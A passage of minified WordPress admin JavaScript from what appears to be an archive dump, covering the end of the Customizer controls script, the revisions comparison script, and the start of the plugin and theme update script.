i={default:[!1,!1,!1,!1],fill:[!0,!1,!1,!1],fit:[!0,!1,!0,!1],repeat:[!0,!1,!1,!0],custom:[!0,!0,!0,!0]},a={default:[_wpCustomizeBackground.defaults["default-position-x"],_wpCustomizeBackground.defaults["default-position-y"],_wpCustomizeBackground.defaults["default-size"],_wpCustomizeBackground.defaults["default-repeat"],_wpCustomizeBackground.defaults["default-attachment"]],fill:["left","top","cover","no-repeat","fixed"],fit:["left","top","contain","no-repeat","fixed"],repeat:["left","top","auto","repeat","scroll"]},t=function(n){_.each(["background_position","background_size","background_repeat","background_attachment"],function(e,t){e=Y.control(e);e&&e.container.toggle(i[n][t])})},n=function(n){_.each(["background_position_x","background_position_y","background_size","background_repeat","background_attachment"],function(e,t){e=Y(e);e&&e.set(a[n][t])})},o=e.setting.get();t(o),e.setting.bind("change",function(e){t(e),"custom"!==e&&n(e)})}),Y.control("background_repeat",function(t){t.elements[0].unsync(Y("background_repeat")),t.element=new Y.Element(t.container.find("input")),t.element.set("no-repeat"!==t.setting()),t.element.bind(function(e){t.setting.set(e?"repeat":"no-repeat")}),t.setting.bind(function(e){t.element.set("no-repeat"!==e)})}),Y.control("background_attachment",function(t){t.elements[0].unsync(Y("background_attachment")),t.element=new Y.Element(t.container.find("input")),t.element.set("fixed"!==t.setting()),t.element.bind(function(e){t.setting.set(e?"scroll":"fixed")}),t.setting.bind(function(e){t.element.set("fixed"!==e)})}),Y.control("display_header_text",function(t){var n="";t.elements[0].unsync(Y("header_textcolor")),t.element=new Y.Element(t.container.find("input")),t.element.set("blank"!==t.setting()),t.element.bind(function(e){e||(n=Y("header_textcolor").get()),t.setting.set(e?n:"blank")}),t.setting.bind(function(e){t.element.set("blank"!==e)})}),Y("show_on_front","page_on_front","page_for_posts",function(i,a,o){function e(){var e="show_on_front_page_collision",t=parseInt(a(),10),n=parseInt(o(),10);"page"===i()&&(this===a&&0<t&&Y.previewer.previewUrl.set(Y.settings.url.home),this===o)&&0<n&&Y.previewer.previewUrl.set(Y.settings.url.home+"?page_id="+n),"page"===i()&&t&&n&&t===n?i.notifications.add(new Y.Notification(e,{type:"error",message:Y.l10n.pageOnFrontError})):i.notifications.remove(e)}i.bind(e),a.bind(e),o.bind(e),e.call(i,i()),Y.control("show_on_front",function(e){e.deferred.embedded.done(function(){e.container.append(e.getNotificationsContainerElement())})})}),A=J.Deferred(),Y.section("custom_css",function(t){t.deferred.embedded.done(function(){t.expanded()?A.resolve(t):t.expanded.bind(function(e){e&&A.resolve(t)})})}),A.done(function(e){var t=Y.control("custom_css");t.container.find(".customize-control-title:first").addClass("screen-reader-text"),e.container.find(".section-description-buttons .section-description-close").on("click",function(){e.container.find(".section-meta .customize-section-description:first").removeClass("open").slideUp(),e.container.find(".customize-help-toggle").attr("aria-expanded","false").focus()}),t&&!t.setting.get()&&(e.container.find(".section-meta .customize-section-description:first").addClass("open").show().trigger("toggled"),e.container.find(".customize-help-toggle").attr("aria-expanded","true"))}),Y.control("header_video",function(n){n.deferred.embedded.done(function(){function e(){var e=Y.section(n.section()),t="video_header_not_available";e&&(n.active.get()?e.notifications.remove(t):e.notifications.add(new Y.Notification(t,{type:"info",message:Y.l10n.videoHeaderNotice})))}e(),n.active.bind(e)})}),Y.previewer.bind("selective-refresh-setting-validities",function(e){Y._handleSettingValidities({settingValidities:e,focusInvalidControl:!1})}),Y.previewer.bind("focus-control-for-setting",function(n){var i=[];Y.control.each(function(e){var t=_.pluck(e.settings,"id");-1!==_.indexOf(t,n)&&i.push(e)}),i.length&&(i.sort(function(e,t){return e.priority()-t.priority()}),i[0].focus())}),Y.previewer.bind("refresh",function(){Y.previewer.refresh()}),Y.state("paneVisible").bind(function(e){var t=window.matchMedia?window.matchMedia("screen and ( max-width: 640px )").matches:J(window).width()<=640;Y.state("editShortcutVisibility").set(e||t?"visible":"hidden")}),window.matchMedia&&window.matchMedia("screen and ( max-width: 640px )").addListener(function(){var e=Y.state("paneVisible");e.callbacks.fireWith(e,[e.get(),e.get()])}),Y.previewer.bind("edit-shortcut-visibility",function(e){Y.state("editShortcutVisibility").set(e)}),Y.state("editShortcutVisibility").bind(function(e){Y.previewer.send("edit-shortcut-visibility",e)}),Y.bind("change",function e(){var t,n,i,a=!1;function o(e){e||Y.settings.changeset.autosaved||(Y.settings.changeset.autosaved=!0,Y.previewer.send("autosaving"))}Y.unbind("change",e),Y.state("saved").bind(o),o(Y.state("saved").get()),n=function(){a||(a=!0,Y.requestChangesetUpdate({},{autosave:!0}).always(function(){a=!1})),i()},(i=function(){clearTimeout(t),t=setTimeout(function(){n()},Y.settings.timeouts.changesetAutoSave)})(),J(document).on("visibilitychange.wp-customize-changeset-update",function(){document.hidden&&n()}),J(window).on("beforeunload.wp-customize-changeset-update",function(){n()})}),J(document).one("tinymce-editor-setup",function(){window.tinymce.ui.FloatPanel&&(!window.tinymce.ui.FloatPanel.zIndex||window.tinymce.ui.FloatPanel.zIndex<500001)&&(window.tinymce.ui.FloatPanel.zIndex=500001)}),o.addClass("ready"),Y.trigger("ready"))})}((wp,jQuery)); revisions.min.js 0000644 00000043741 15222552267 0007726 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(a){var s=wp.revisions={model:{},view:{},controller:{}};s.settings=window._wpRevisionsSettings||{},s.debug=!1,s.log=function(){window.console&&s.debug&&window.console.log.apply(window.console,arguments)},a.fn.allOffsets=function(){var e=this.offset()||{top:0,left:0},i=a(window);return _.extend(e,{right:i.width()-e.left-this.outerWidth(),bottom:i.height()-e.top-this.outerHeight()})},a.fn.allPositions=function(){var e=this.position()||{top:0,left:0},i=this.parent();return _.extend(e,{right:i.outerWidth()-e.left-this.outerWidth(),bottom:i.outerHeight()-e.top-this.outerHeight()})},s.model.Slider=Backbone.Model.extend({defaults:{value:null,values:null,min:0,max:1,step:1,range:!1,compareTwoMode:!1},initialize:function(e){this.frame=e.frame,this.revisions=e.revisions,this.listenTo(this.frame,"update:revisions",this.receiveRevisions),this.listenTo(this.frame,"change:compareTwoMode",this.updateMode),this.on("change:from",this.handleLocalChanges),this.on("change:to",this.handleLocalChanges),this.on("change:compareTwoMode",this.updateSliderSettings),this.on("update:revisions",this.updateSliderSettings),this.on("change:hoveredRevision",this.hoverRevision),this.set({max:this.revisions.length-1,compareTwoMode:this.frame.get("compareTwoMode"),from:this.frame.get("from"),to:this.frame.get("to")}),this.updateSliderSettings()},getSliderValue:function(e,i){return isRtl?this.revisions.length-this.revisions.indexOf(this.get(e))-1:this.revisions.indexOf(this.get(i))},updateSliderSettings:function(){this.get("compareTwoMode")?this.set({values:[this.getSliderValue("to","from"),this.getSliderValue("from","to")],value:null,range:!0}):this.set({value:this.getSliderValue("to","to"),values:null,range:!1}),this.trigger("update:slider")},hoverRevision:function(e,i){this.trigger("hovered:revision",i)},updateMode:function(e,i){this.set({compareTwoMode:i})},handleLocalChanges:function(){this.frame.set({from:this.get("from"),to:this.get("to")})},receiveRevisions:function(e,i){this.get("from")===e&&this.get("to")===i||(this.set({from:e,to:i},{silent:!0}),this.trigger("update:revisions",e,i))}}),s.model.Tooltip=Backbone.Model.extend({defaults:{revision:null,offset:{},hovering:!1,scrubbing:!1},initialize:function(e){this.frame=e.frame,this.revisions=e.revisions,this.slider=e.slider,this.listenTo(this.slider,"hovered:revision",this.updateRevision),this.listenTo(this.slider,"change:hovering",this.setHovering),this.listenTo(this.slider,"change:scrubbing",this.setScrubbing)},updateRevision:function(e){this.set({revision:e})},setHovering:function(e,i){this.set({hovering:i})},setScrubbing:function(e,i){this.set({scrubbing:i})}}),s.model.Revision=Backbone.Model.extend({}),s.model.Revisions=Backbone.Collection.extend({model:s.model.Revision,initialize:function(){_.bindAll(this,"next","prev")},next:function(e){e=this.indexOf(e);if(-1!==e&&e!==this.length-1)return this.at(e+1)},prev:function(e){e=this.indexOf(e);if(-1!==e&&0!==e)return this.at(e-1)}}),s.model.Field=Backbone.Model.extend({}),s.model.Fields=Backbone.Collection.extend({model:s.model.Field}),s.model.Diff=Backbone.Model.extend({initialize:function(){var e=this.get("fields");this.unset("fields"),this.fields=new s.model.Fields(e)}}),s.model.Diffs=Backbone.Collection.extend({initialize:function(e,i){_.bindAll(this,"getClosestUnloaded"),this.loadAll=_.once(this._loadAll),this.revisions=i.revisions,this.postId=i.postId,this.requests={}},model:s.model.Diff,ensure:function(e,i){var t=this.get(e),s=this.requests[e],o=a.Deferred(),n={},r=e.split(":")[0],l=e.split(":")[1];return n[e]=!0,wp.revisions.log("ensure",e),this.trigger("ensure",n,r,l,o.promise()),t?o.resolveWith(i,[t]):(this.trigger("ensure:load",n,r,l,o.promise()),_.each(n,_.bind(function(e){this.requests[e]&&delete n[e],this.get(e)&&delete n[e]},this)),s||(n[e]=!0,s=this.load(_.keys(n))),s.done(_.bind(function(){o.resolveWith(i,[this.get(e)])},this)).fail(_.bind(function(){o.reject()}))),o.promise()},getClosestUnloaded:function(e,i){var t=this;return _.chain([0].concat(e)).initial().zip(e).sortBy(function(e){return Math.abs(i-e[1])}).map(function(e){return e.join(":")}).filter(function(e){return _.isUndefined(t.get(e))&&!t.requests[e]}).value()},_loadAll:function(e,i,t){var s=this,o=a.Deferred(),n=_.first(this.getClosestUnloaded(e,i),t);return 0<_.size(n)?this.load(n).done(function(){s._loadAll(e,i,t).done(function(){o.resolve()})}).fail(function(){1===t?o.reject():s._loadAll(e,i,Math.ceil(t/2)).done(function(){o.resolve()})}):o.resolve(),o},load:function(e){return wp.revisions.log("load",e),this.fetch({data:{compare:e},remove:!1}).done(function(){wp.revisions.log("load:complete",e)})},sync:function(e,i,t){var s,o;return"read"===e?((t=t||{}).context=this,t.data=_.extend(t.data||{},{action:"get-revision-diffs",post_id:this.postId}),s=wp.ajax.send(t),o=this.requests,t.data.compare&&_.each(t.data.compare,function(e){o[e]=s}),s.always(function(){t.data.compare&&_.each(t.data.compare,function(e){delete o[e]})}),s):Backbone.Model.prototype.sync.apply(this,arguments)}}),s.model.FrameState=Backbone.Model.extend({defaults:{loading:!1,error:!1,compareTwoMode:!1},initialize:function(e,i){var t=this.get("initialDiffState");_.bindAll(this,"receiveDiff"),this._debouncedEnsureDiff=_.debounce(this._ensureDiff,200),this.revisions=i.revisions,this.diffs=new s.model.Diffs([],{revisions:this.revisions,postId:this.get("postId")}),this.diffs.set(this.get("diffData")),this.listenTo(this,"change:from",this.changeRevisionHandler),this.listenTo(this,"change:to",this.changeRevisionHandler),this.listenTo(this,"change:compareTwoMode",this.changeMode),this.listenTo(this,"update:revisions",this.updatedRevisions),this.listenTo(this.diffs,"ensure:load",this.updateLoadingStatus),this.listenTo(this,"update:diff",this.updateLoadingStatus),this.set({to:this.revisions.get(t.to),from:this.revisions.get(t.from),compareTwoMode:t.compareTwoMode}),window.history&&window.history.pushState&&(this.router=new s.Router({model:this}),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({pushState:!0}))},updateLoadingStatus:function(){this.set("error",!1),this.set("loading",!this.diff())},changeMode:function(e,i){var t=this.revisions.indexOf(this.get("to"));i&&0===t&&this.set({from:this.revisions.at(t),to:this.revisions.at(t+1)}),i||0===t||this.set({from:this.revisions.at(t-1),to:this.revisions.at(t)})},updatedRevisions:function(e,i){this.get("compareTwoMode")||this.diffs.loadAll(this.revisions.pluck("id"),i.id,40)},diff:function(){return this.diffs.get(this._diffId)},updateDiff:function(e){var i,t,s;return e=e||{},s=this.get("from"),i=this.get("to"),t=(s?s.id:0)+":"+i.id,this._diffId===t?a.Deferred().reject().promise():(this._diffId=t,this.trigger("update:revisions",s,i),(s=this.diffs.get(t))?(this.receiveDiff(s),a.Deferred().resolve().promise()):e.immediate?this._ensureDiff():(this._debouncedEnsureDiff(),a.Deferred().reject().promise()))},changeRevisionHandler:function(){this.updateDiff()},receiveDiff:function(e){_.isUndefined(e)||_.isUndefined(e.id)?this.set({loading:!1,error:!0}):this._diffId===e.id&&this.trigger("update:diff",e)},_ensureDiff:function(){return this.diffs.ensure(this._diffId,this).always(this.receiveDiff)}}),s.view.Frame=wp.Backbone.View.extend({className:"revisions",template:wp.template("revisions-frame"),initialize:function(){this.listenTo(this.model,"update:diff",this.renderDiff),this.listenTo(this.model,"change:compareTwoMode",this.updateCompareTwoMode),this.listenTo(this.model,"change:loading",this.updateLoadingStatus),this.listenTo(this.model,"change:error",this.updateErrorStatus),this.views.set(".revisions-control-frame",new s.view.Controls({model:this.model}))},render:function(){return wp.Backbone.View.prototype.render.apply(this,arguments),a("html").css("overflow-y","scroll"),a("#wpbody-content .wrap").append(this.el),this.updateCompareTwoMode(),this.renderDiff(this.model.diff()),this.views.ready(),this},renderDiff:function(e){this.views.set(".revisions-diff-frame",new s.view.Diff({model:e}))},updateLoadingStatus:function(){this.$el.toggleClass("loading",this.model.get("loading"))},updateErrorStatus:function(){this.$el.toggleClass("diff-error",this.model.get("error"))},updateCompareTwoMode:function(){this.$el.toggleClass("comparing-two-revisions",this.model.get("compareTwoMode"))}}),s.view.Controls=wp.Backbone.View.extend({className:"revisions-controls",initialize:function(){_.bindAll(this,"setWidth"),this.views.add(new s.view.Checkbox({model:this.model})),this.views.add(new s.view.Buttons({model:this.model}));var e=new s.model.Slider({frame:this.model,revisions:this.model.revisions}),i=new s.model.Tooltip({frame:this.model,revisions:this.model.revisions,slider:e});this.views.add(new s.view.Tooltip({model:i})),this.views.add(new s.view.Tickmarks({model:i})),this.views.add(new s.view.SliderHelp),this.views.add(new s.view.Slider({model:e})),this.views.add(new s.view.Metabox({model:this.model}))},ready:function(){this.top=this.$el.offset().top,this.window=a(window),this.window.on("scroll.wp.revisions",{controls:this},function(e){var e=e.data.controls,i=e.$el.parent(),t=e.window.scrollTop(),s=e.views.parent;t>=e.top?(s.$el.hasClass("pinned")||(e.setWidth(),i.css("height",i.height()+"px"),e.window.on("resize.wp.revisions.pinning click.wp.revisions.pinning",{controls:e},function(e){e.data.controls.setWidth()})),s.$el.addClass("pinned")):(s.$el.hasClass("pinned")&&(e.window.off(".wp.revisions.pinning"),e.$el.css("width","auto"),s.$el.removeClass("pinned"),i.css("height","auto")),e.top=e.$el.offset().top)})},setWidth:function(){this.$el.css("width",this.$el.parent().width()+"px")}}),s.view.Tickmarks=wp.Backbone.View.extend({className:"revisions-tickmarks",direction:isRtl?"right":"left",initialize:function(){this.listenTo(this.model,"change:revision",this.reportTickPosition)},reportTickPosition:function(e,i){var t,i=this.model.revisions.indexOf(i),s=this.$el.allOffsets(),o=this.$el.parent().allOffsets();i===this.model.revisions.length-1?t={rightPlusWidth:s.left-o.left+1,leftPlusWidth:s.right-o.right+1}:(t=(i=this.$("div:nth-of-type("+(i+1)+")")).allPositions(),_.extend(t,{left:t.left+s.left-o.left,right:t.right+s.right-o.right}),_.extend(t,{leftPlusWidth:t.left+i.outerWidth(),rightPlusWidth:t.right+i.outerWidth()})),this.model.set({offset:t})},ready:function(){var e=this.model.revisions.length-1,i=1/e;this.$el.css("width",50*this.model.revisions.length+"px"),_(e).times(function(e){this.$el.append('<div style="'+this.direction+": "+100*i*e+'%"></div>')},this)}}),s.view.Metabox=wp.Backbone.View.extend({className:"revisions-meta",initialize:function(){this.views.add(new s.view.MetaFrom({model:this.model,className:"diff-meta diff-meta-from"})),this.views.add(new s.view.MetaTo({model:this.model}))}}),s.view.Meta=wp.Backbone.View.extend({template:wp.template("revisions-meta"),events:{"click .restore-revision":"restoreRevision"},initialize:function(){this.listenTo(this.model,"update:revisions",this.render)},prepare:function(){return _.extend(this.model.toJSON()[this.type]||{},{type:this.type})},restoreRevision:function(){document.location=this.model.get("to").attributes.restoreUrl}}),s.view.MetaFrom=s.view.Meta.extend({className:"diff-meta diff-meta-from",type:"from"}),s.view.MetaTo=s.view.Meta.extend({className:"diff-meta diff-meta-to",type:"to"}),s.view.Checkbox=wp.Backbone.View.extend({className:"revisions-checkbox",template:wp.template("revisions-checkbox"),events:{"click .compare-two-revisions":"compareTwoToggle"},initialize:function(){this.listenTo(this.model,"change:compareTwoMode",this.updateCompareTwoMode)},ready:function(){this.model.revisions.length<3&&a(".revision-toggle-compare-mode").hide()},updateCompareTwoMode:function(){this.$(".compare-two-revisions").prop("checked",this.model.get("compareTwoMode"))},compareTwoToggle:function(){this.model.set({compareTwoMode:a(".compare-two-revisions").prop("checked")})}}),s.view.SliderHelp=wp.Backbone.View.extend({className:"revisions-slider-hidden-help",template:wp.template("revisions-slider-hidden-help")}),s.view.Tooltip=wp.Backbone.View.extend({className:"revisions-tooltip",template:wp.template("revisions-meta"),initialize:function(){this.listenTo(this.model,"change:offset",this.render),this.listenTo(this.model,"change:hovering",this.toggleVisibility),this.listenTo(this.model,"change:scrubbing",this.toggleVisibility)},prepare:function(){if(!_.isNull(this.model.get("revision")))return _.extend({type:"tooltip"},{attributes:this.model.get("revision").toJSON()})},render:function(){var e,i={},t=.5<(this.model.revisions.indexOf(this.model.get("revision"))+1)/this.model.revisions.length,s=isRtl?(e=t?"left":"right",t?"leftPlusWidth":e):(e=t?"right":"left",t?"rightPlusWidth":e),o="right"===e?"left":"right";wp.Backbone.View.prototype.render.apply(this,arguments),i[e]=this.model.get("offset")[s]+"px",i[o]="",this.$el.toggleClass("flipped",t).css(i)},visible:function(){return this.model.get("scrubbing")||this.model.get("hovering")},toggleVisibility:function(){this.visible()?this.$el.stop().show().fadeTo(100-100*this.el.style.opacity,1):this.$el.stop().fadeTo(300*this.el.style.opacity,0,function(){a(this).hide()})}}),s.view.Buttons=wp.Backbone.View.extend({className:"revisions-buttons",template:wp.template("revisions-buttons"),events:{"click .revisions-next .button":"nextRevision","click .revisions-previous .button":"previousRevision"},initialize:function(){this.listenTo(this.model,"update:revisions",this.disabledButtonCheck)},ready:function(){this.disabledButtonCheck()},gotoModel:function(e){var i={to:this.model.revisions.at(e)};e?i.from=this.model.revisions.at(e-1):this.model.unset("from",{silent:!0}),this.model.set(i)},nextRevision:function(){var e=this.model.revisions.indexOf(this.model.get("to"))+1;this.gotoModel(e)},previousRevision:function(){var e=this.model.revisions.indexOf(this.model.get("to"))-1;this.gotoModel(e)},disabledButtonCheck:function(){var e=this.model.revisions.length-1,i=a(".revisions-next .button"),t=a(".revisions-previous .button"),s=this.model.revisions.indexOf(this.model.get("to"));i.prop("disabled",e===s),t.prop("disabled",0===s)}}),s.view.Slider=wp.Backbone.View.extend({className:"wp-slider",direction:isRtl?"right":"left",events:{mousemove:"mouseMove"},initialize:function(){_.bindAll(this,"start","slide","stop","mouseMove","mouseEnter","mouseLeave"),this.listenTo(this.model,"update:slider",this.applySliderSettings)},ready:function(){this.$el.css("width",50*this.model.revisions.length+"px"),this.$el.slider(_.extend(this.model.toJSON(),{start:this.start,slide:this.slide,stop:this.stop})),this.$el.hoverIntent({over:this.mouseEnter,out:this.mouseLeave,timeout:800}),this.applySliderSettings()},accessibilityHelper:function(){var e=a(".ui-slider-handle");e.first().attr({role:"button","aria-labelledby":"diff-title-from diff-title-author","aria-describedby":"revisions-slider-hidden-help"}),e.last().attr({role:"button","aria-labelledby":"diff-title-to diff-title-author","aria-describedby":"revisions-slider-hidden-help"})},mouseMove:function(e){var i=this.model.revisions.length-1,t=this.$el.allOffsets()[this.direction],i=this.$el.width()/i,e=(isRtl?a(window).width()-e.pageX:e.pageX)-t,t=Math.floor((e+i/2)/i);t<0?t=0:t>=this.model.revisions.length&&(t=this.model.revisions.length-1),this.model.set({hoveredRevision:this.model.revisions.at(t)})},mouseLeave:function(){this.model.set({hovering:!1})},mouseEnter:function(){this.model.set({hovering:!0})},applySliderSettings:function(){this.$el.slider(_.pick(this.model.toJSON(),"value","values","range"));var e=this.$("a.ui-slider-handle");this.model.get("compareTwoMode")?(e.first().toggleClass("to-handle",!!isRtl).toggleClass("from-handle",!isRtl),e.last().toggleClass("from-handle",!!isRtl).toggleClass("to-handle",!isRtl)):e.removeClass("from-handle to-handle"),this.accessibilityHelper()},start:function(e,d){this.model.set({scrubbing:!0}),a(window).on("mousemove.wp.revisions",{view:this},function(e){var i=e.data.view,t=i.$el.offset().left,s=t,o=t+i.$el.width(),n="0",r="100%",l=a(d.handle);i.model.get("compareTwoMode")&&(i=l.parent().find(".ui-slider-handle"),l.is(i.first())?r=(o=i.last().offset().left)-s:n=(t=i.first().offset().left+i.first().width())-s),e.pageX<t?l.css("left",n):e.pageX>o?l.css("left",r):l.css("left",e.pageX-s)})},getPosition:function(e){return isRtl?this.model.revisions.length-e-1:e},slide:function(e,i){var t;if(this.model.get("compareTwoMode")){if(i.values[1]===i.values[0])return!1;isRtl&&i.values.reverse(),t={from:this.model.revisions.at(this.getPosition(i.values[0])),to:this.model.revisions.at(this.getPosition(i.values[1]))}}else t={to:this.model.revisions.at(this.getPosition(i.value))},0<this.getPosition(i.value)?t.from=this.model.revisions.at(this.getPosition(i.value)-1):t.from=void 0;i=this.model.revisions.at(this.getPosition(i.value)),this.model.get("scrubbing")&&(t.hoveredRevision=i),this.model.set(t)},stop:function(){a(window).off("mousemove.wp.revisions"),this.model.updateSliderSettings(),this.model.set({scrubbing:!1})}}),s.view.Diff=wp.Backbone.View.extend({className:"revisions-diff",template:wp.template("revisions-diff"),prepare:function(){return _.extend({fields:this.model.fields.toJSON()},this.options)}}),s.Router=Backbone.Router.extend({initialize:function(e){this.model=e.model,this.listenTo(this.model,"update:diff",_.debounce(this.updateUrl,250)),this.listenTo(this.model,"change:compareTwoMode",this.updateUrl)},baseUrl:function(e){return this.model.get("baseUrl")+e},updateUrl:function(){var e=this.model.has("from")?this.model.get("from").id:0,i=this.model.get("to").id;this.model.get("compareTwoMode")?this.navigate(this.baseUrl("?from="+e+"&to="+i),{replace:!0}):this.navigate(this.baseUrl("?revision="+i),{replace:!0})},handleRoute:function(e,i){_.isUndefined(i)||(i=this.model.revisions.get(e),e=this.model.revisions.prev(i),i=i?i.id:0,e&&e.id)}}),s.init=function(){var e;window.adminpage&&"revision-php"===window.adminpage&&(e=new s.model.FrameState({initialDiffState:{to:parseInt(s.settings.to,10),from:parseInt(s.settings.from,10),compareTwoMode:"1"===s.settings.compareTwoMode},diffData:s.settings.diffData,baseUrl:s.settings.baseUrl,postId:parseInt(s.settings.postId,10)},{revisions:new s.model.Revisions(s.settings.revisionData)}),s.view.frame=new s.view.Frame({model:e}).render())},a(s.init)}(jQuery); updates.min.js 0000644 00000136473 15222552267 0007357 0 ustar 00 /*! This file is auto-generated */ !function(c,g,m){var f=c(document),h=g.i18n.__,r=g.i18n._x,p=g.i18n._n,o=g.i18n._nx,v=g.i18n.sprintf;(g=g||{}).updates={},g.updates.l10n={searchResults:"",searchResultsLabel:"",noPlugins:"",noItemsSelected:"",updating:"",pluginUpdated:"",themeUpdated:"",update:"",updateNow:"",pluginUpdateNowLabel:"",updateFailedShort:"",updateFailed:"",pluginUpdatingLabel:"",pluginUpdatedLabel:"",pluginUpdateFailedLabel:"",updatingMsg:"",updatedMsg:"",updateCancel:"",beforeunload:"",installNow:"",pluginInstallNowLabel:"",installing:"",pluginInstalled:"",themeInstalled:"",installFailedShort:"",installFailed:"",pluginInstallingLabel:"",themeInstallingLabel:"",pluginInstalledLabel:"",themeInstalledLabel:"",pluginInstallFailedLabel:"",themeInstallFailedLabel:"",installingMsg:"",installedMsg:"",importerInstalledMsg:"",aysDelete:"",aysDeleteUninstall:"",aysBulkDelete:"",aysBulkDeleteThemes:"",deleting:"",deleteFailed:"",pluginDeleted:"",themeDeleted:"",livePreview:"",activatePlugin:"",activateTheme:"",activatePluginLabel:"",activateThemeLabel:"",activateImporter:"",activateImporterLabel:"",unknownError:"",connectionError:"",nonceError:"",pluginsFound:"",noPluginsFound:"",autoUpdatesEnable:"",autoUpdatesEnabling:"",autoUpdatesEnabled:"",autoUpdatesDisable:"",autoUpdatesDisabling:"",autoUpdatesDisabled:"",autoUpdatesError:""},g.updates.l10n=window.wp.deprecateL10nObject("wp.updates.l10n",g.updates.l10n,"5.5.0"),g.updates.ajaxNonce=m.ajax_nonce,g.updates.searchTerm="",g.updates.searchMinCharacters=2,g.updates.shouldRequestFilesystemCredentials=!1,g.updates.filesystemCredentials={ftp:{host:"",username:"",password:"",connectionType:""},ssh:{publicKey:"",privateKey:""},fsNonce:"",available:!1},g.updates.ajaxLocked=!1,g.updates.adminNotice=g.template("wp-updates-admin-notice"),g.updates.queue=[],g.updates.$elToReturnFocusToFromCredentialsModal=void 0,g.updates.addAdminNotice=function(e){var t,a=c(e.selector),s=c(".wp-header-end");delete e.selector,t=g.updates.adminNotice(e),(a=a.length?a:c("#"+e.id)).length?a.replaceWith(t):s.length?s.after(t):"customize"===pagenow?c(".customize-themes-notifications").append(t):c(".wrap").find("> h1").after(t),f.trigger("wp-updates-notice-added")},g.updates.ajax=function(e,t){var a={};return g.updates.ajaxLocked?(g.updates.queue.push({action:e,data:t}),c.Deferred()):(g.updates.ajaxLocked=!0,t.success&&(a.success=t.success,delete t.success),t.error&&(a.error=t.error,delete t.error),a.data=_.extend(t,{action:e,_ajax_nonce:g.updates.ajaxNonce,_fs_nonce:g.updates.filesystemCredentials.fsNonce,username:g.updates.filesystemCredentials.ftp.username,password:g.updates.filesystemCredentials.ftp.password,hostname:g.updates.filesystemCredentials.ftp.hostname,connection_type:g.updates.filesystemCredentials.ftp.connectionType,public_key:g.updates.filesystemCredentials.ssh.publicKey,private_key:g.updates.filesystemCredentials.ssh.privateKey}),g.ajax.send(a).always(g.updates.ajaxAlways))},g.updates.ajaxAlways=function(e){e.errorCode&&"unable_to_connect_to_filesystem"===e.errorCode||(g.updates.ajaxLocked=!1,g.updates.queueChecker()),void 0!==e.debug&&window.console&&window.console.log&&_.map(e.debug,function(e){window.console.log(g.sanitize.stripTagsAndEncodeText(e))})},g.updates.refreshCount=function(){var e,t=c("#wp-admin-bar-updates"),a=c('a[href="update-core.php"] .update-plugins'),s=c('a[href="plugins.php"] .update-plugins'),n=c('a[href="themes.php"] .update-plugins');t.find(".ab-label").text(m.totals.counts.total),t.find(".updates-available-text").text(v(p("%s update available","%s updates available",m.totals.counts.total),m.totals.counts.total)),0===m.totals.counts.total&&t.find(".ab-label").parents("li").remove(),a.each(function(e,t){t.className=t.className.replace(/count-\d+/,"count-"+m.totals.counts.total)}),0<m.totals.counts.total?a.find(".update-count").text(m.totals.counts.total):a.remove(),s.each(function(e,t){t.className=t.className.replace(/count-\d+/,"count-"+m.totals.counts.plugins)}),0<m.totals.counts.total?s.find(".plugin-count").text(m.totals.counts.plugins):s.remove(),n.each(function(e,t){t.className=t.className.replace(/count-\d+/,"count-"+m.totals.counts.themes)}),0<m.totals.counts.total?n.find(".theme-count").text(m.totals.counts.themes):n.remove(),"plugins"===pagenow||"plugins-network"===pagenow?e=m.totals.counts.plugins:"themes"!==pagenow&&"themes-network"!==pagenow||(e=m.totals.counts.themes),0<e?c(".subsubsub .upgrade .count").text("("+e+")"):(c(".subsubsub .upgrade").remove(),c(".subsubsub li:last").html(function(){return c(this).children()}))},g.updates.setCardButtonStatus=function(e){var t=window.parent===window?null:window.parent;c.support.postMessage=!!window.postMessage,!1!==c.support.postMessage&&null!==t&&-1===window.parent.location.pathname.indexOf("index.php")&&t.postMessage(JSON.stringify(e),window.location.origin)},g.updates.decrementCount=function(e){m.totals.counts.total=Math.max(--m.totals.counts.total,0),"plugin"===e?m.totals.counts.plugins=Math.max(--m.totals.counts.plugins,0):"theme"===e&&(m.totals.counts.themes=Math.max(--m.totals.counts.themes,0)),g.updates.refreshCount(e)},g.updates.updatePlugin=function(e){var t,a,s,n=c("#wp-admin-bar-updates"),i=h("Updating..."),l="plugin-install"===pagenow||"plugin-install-network"===pagenow;return e=_.extend({success:g.updates.updatePluginSuccess,error:g.updates.updatePluginError},e),"plugins"===pagenow||"plugins-network"===pagenow?(a=(s=c('tr[data-plugin="'+e.plugin+'"]')).find(".update-message").removeClass("notice-error").addClass("updating-message notice-warning").find("p"),s=v(r("Updating %s...","plugin"),s.find(".plugin-title strong").text())):l&&(a=(t=c(".plugin-card-"+e.slug+", #plugin-information-footer")).find(".update-now").addClass("updating-message"),s=v(r("Updating %s...","plugin"),a.data("name")),t.removeClass("plugin-card-update-failed").find(".notice.notice-error").remove()),n.addClass("spin"),a.html()!==h("Updating...")&&a.data("originaltext",a.html()),a.attr("aria-label",s).text(i),f.trigger("wp-plugin-updating",e),l&&"plugin-information-footer"===t.attr("id")&&g.updates.setCardButtonStatus({status:"updating-plugin",slug:e.slug,addClasses:"updating-message",text:i,ariaLabel:s}),g.updates.ajax("update-plugin",e)},g.updates.updatePluginSuccess=function(e){var t,a,s,n=c("#wp-admin-bar-updates"),i=r("Updated!","plugin"),l=v(r("%s updated!","plugin"),e.pluginName);"plugins"===pagenow||"plugins-network"===pagenow?(a=(t=c('tr[data-plugin="'+e.plugin+'"]').removeClass("update is-enqueued").addClass("updated")).find(".update-message").removeClass("updating-message notice-warning").addClass("updated-message notice-success").find("p"),s=t.find(".plugin-version-author-uri").html().replace(e.oldVersion,e.newVersion),t.find(".plugin-version-author-uri").html(s),t.find(".auto-update-time").empty()):"plugin-install"!==pagenow&&"plugin-install-network"!==pagenow||(a=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".update-now").removeClass("updating-message").addClass("button-disabled updated-message")),n.removeClass("spin"),a.attr("aria-label",l).text(i),g.a11y.speak(h("Update completed successfully.")),"plugin_install_from_iframe"!==a.attr("id")?g.updates.decrementCount("plugin"):g.updates.setCardButtonStatus({status:"updated-plugin",slug:e.slug,removeClasses:"updating-message",addClasses:"button-disabled updated-message",text:i,ariaLabel:l}),f.trigger("wp-plugin-update-success",e)},g.updates.updatePluginError=function(e){var 